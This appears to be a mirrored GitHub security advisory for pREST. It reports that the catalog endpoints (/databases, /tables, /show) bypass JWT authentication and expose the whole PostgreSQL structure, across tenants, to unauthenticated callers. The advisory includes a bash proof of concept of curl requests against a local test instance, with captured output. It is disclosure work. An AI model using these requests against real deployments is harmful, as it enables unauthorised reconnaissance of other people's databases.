GHSA-FHF5-M388-4W4P
pREST's catalog endpoints (/databases, /tables, /show) bypass the authentication stack entirely - with authentication enabled, unauthenticated requests enumerate every database, schema, table, and column on the PostgreSQL server
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-FHF5-M388-4W4P divulgada · CVSS 7.5 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
All evidence, reproduction steps, and scripts in the report were verified against a real running instance. Nothing is fabricated or synthetic; every verdict is backed by captured output from an actual deployment.
pREST (Go middleware that exposes a PostgreSQL database as a REST API) protects its CRUD and query routes with a JWT authentication middleware, but its catalog endpoints - the metadata routes that list and describe database structure - are registered with plain `HandleFunc` calls outside that middleware stack (src/router/router.go:41-43 and :66-67, versus the CRUD routes at :71-75 which pass through the full crudStack including `AuthMiddleware`). With `PREST_AUTH_ENABLED=true` and a valid JWT configuration, a request with no token at all retrieves: every database on the PostgreSQL server, including databases belonging to other tenants (`GET /databases` queries `pg_database`); the full table/owner listing across schemas (`GET /tables`); and complete column names, types, and defaults for any table (`GET /show/{database}/{schema}/{table}`). Verified on a live v2.4.2 instance with authentication enabled: the CRUD route correctly answers 401 to the same unauthenticated caller while the catalog routes answer 200 with the full structure map. An attacker gets a precise server-wide map of databases, schemas, tables, columns, and defaults with zero credentials - the reconnaissance that makes targeted SQLi, cross-tenant probing, or data theft efficient. The root cause is structural: catalog controllers were simply never included in the authentication stack, and `cfg.AuthEnabled` gates only the CRUD/query/MCP/auth route groups.
Details
The route registration split:
# src/router/router.go:41-43, 66-67
# HandleFunc("/databases", ...) - plain registration, no middleware stack
# HandleFunc("/tables", ...) - plain registration, no middleware stack
# HandleFunc("/show/{database}/{schema}/{table}", ...) - same
# src/router/router.go:71-75 (contrast)
# crudRoute(crudStack, ...) - includes AuthMiddleware
# src/app/app.go:116-119
# global stack attaches only AdapterSelectorMiddleware - no global auth`PREST_AUTH_ENABLED=true` gates the CRUD, query, MCP, and auth route groups; the catalog controllers check nothing themselves. The exposure therefore persists in every deployment that relies on pREST's own authentication, and the leaked map spans the whole PostgreSQL server rather than the configured database - `pg_database` is a server-level catalog, so co-located tenant databases are enumerated even when pREST is scoped to one. We verified the parallel SQLi class (CVE-2025-58450, no fixed release) is mitigated on v2.4.2 by `validatePathSegments`/`ident.IsSafeSegment`, and the write-side unconditional DELETE/PUT behavior is reported separately; this report covers only the catalog authentication gap.
Proof of concept
The instance is pREST v2.4.2 (source-built, Go) in front of PostgreSQL 16, `PREST_AUTH_ENABLED=true` with an HS256 JWT configuration, database `pr6cr4db` plus a second database `pr6cr4_other` simulating a co-located tenant. No token is sent in any request:
#!/usr/bin/env bash
BASE=http://127.0.0.1:21990
# step 1: list every database on the server (server-level pg_database catalog)
curl -s "$BASE/databases"
# step 2: full table/owner listing, and column detail for a table
curl -s "$BASE/tables"
curl -s "$BASE/show/pr6cr4db/pr6cr4_api/t1"
# step 3 (control): the CRUD route correctly rejects the same caller
curl -s -i "$BASE/pr6cr4db/pr6cr4_api/t1" | head -1Captured output from the running instance (verbatim from the retained probe log):
$ curl -s http://127.0.0.1:21990/databases
[{"datname": "postgres"}, {"datname": "pr6cr4_other"}, {"datname": "pr6cr4db"}] # cross-tenant DB list, HTTP 200
$ curl -s http://127.0.0.1:21990/tables # 200, full table/owner/schema listing
$ curl -s http://127.0.0.1:21990/show/pr6cr4db/pr6cr4_api/t1 # 200, columns/types/defaults
$ curl -s http://127.0.0.1:21990/pr6cr4db/pr6cr4_api # 200
contrast: $ curl -i /pr6cr4db/pr6cr4_api/t1 -> 401 {"error":"authorization token is empty"}Output interpretation: the same unauthenticated caller receives 401 from the CRUD route and 200 with the database inventory from `/databases` - authentication exists and works, the catalog routes simply sit outside it. The listing includes `pr6cr4_other`, a database this pREST deployment is not configured to serve, demonstrating the server-wide (cross-tenant) reach. Paths and database names are instance-specific; the stable verdict is the unauthenticated catalog access under `PREST_AUTH_ENABLED=true`.
Impact
Unauthenticated enumeration of the full PostgreSQL server structure (CWE-306/CWE-200): every database (including co-located tenant databases), every schema, table, column, type, and default value, with zero credentials, in any deployment using pREST's built-in authentication. This is a map for follow-on attacks - cross-tenant probing in shared PostgreSQL deployments, precise targeting of injection or access-control flaws, and exposure of schema-level trade secrets. A fix is to route the catalog endpoints through the same authenticated stack as the CRUD routes, and to scope `/databases` to the configured database rather than the server-level catalog.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
gogithub.com/prest/prest |
Sin parche | — | — | v1.5.5 afectada |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/prest/prest/security/advisories/GHSA-fhf5-m388-4w4pLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
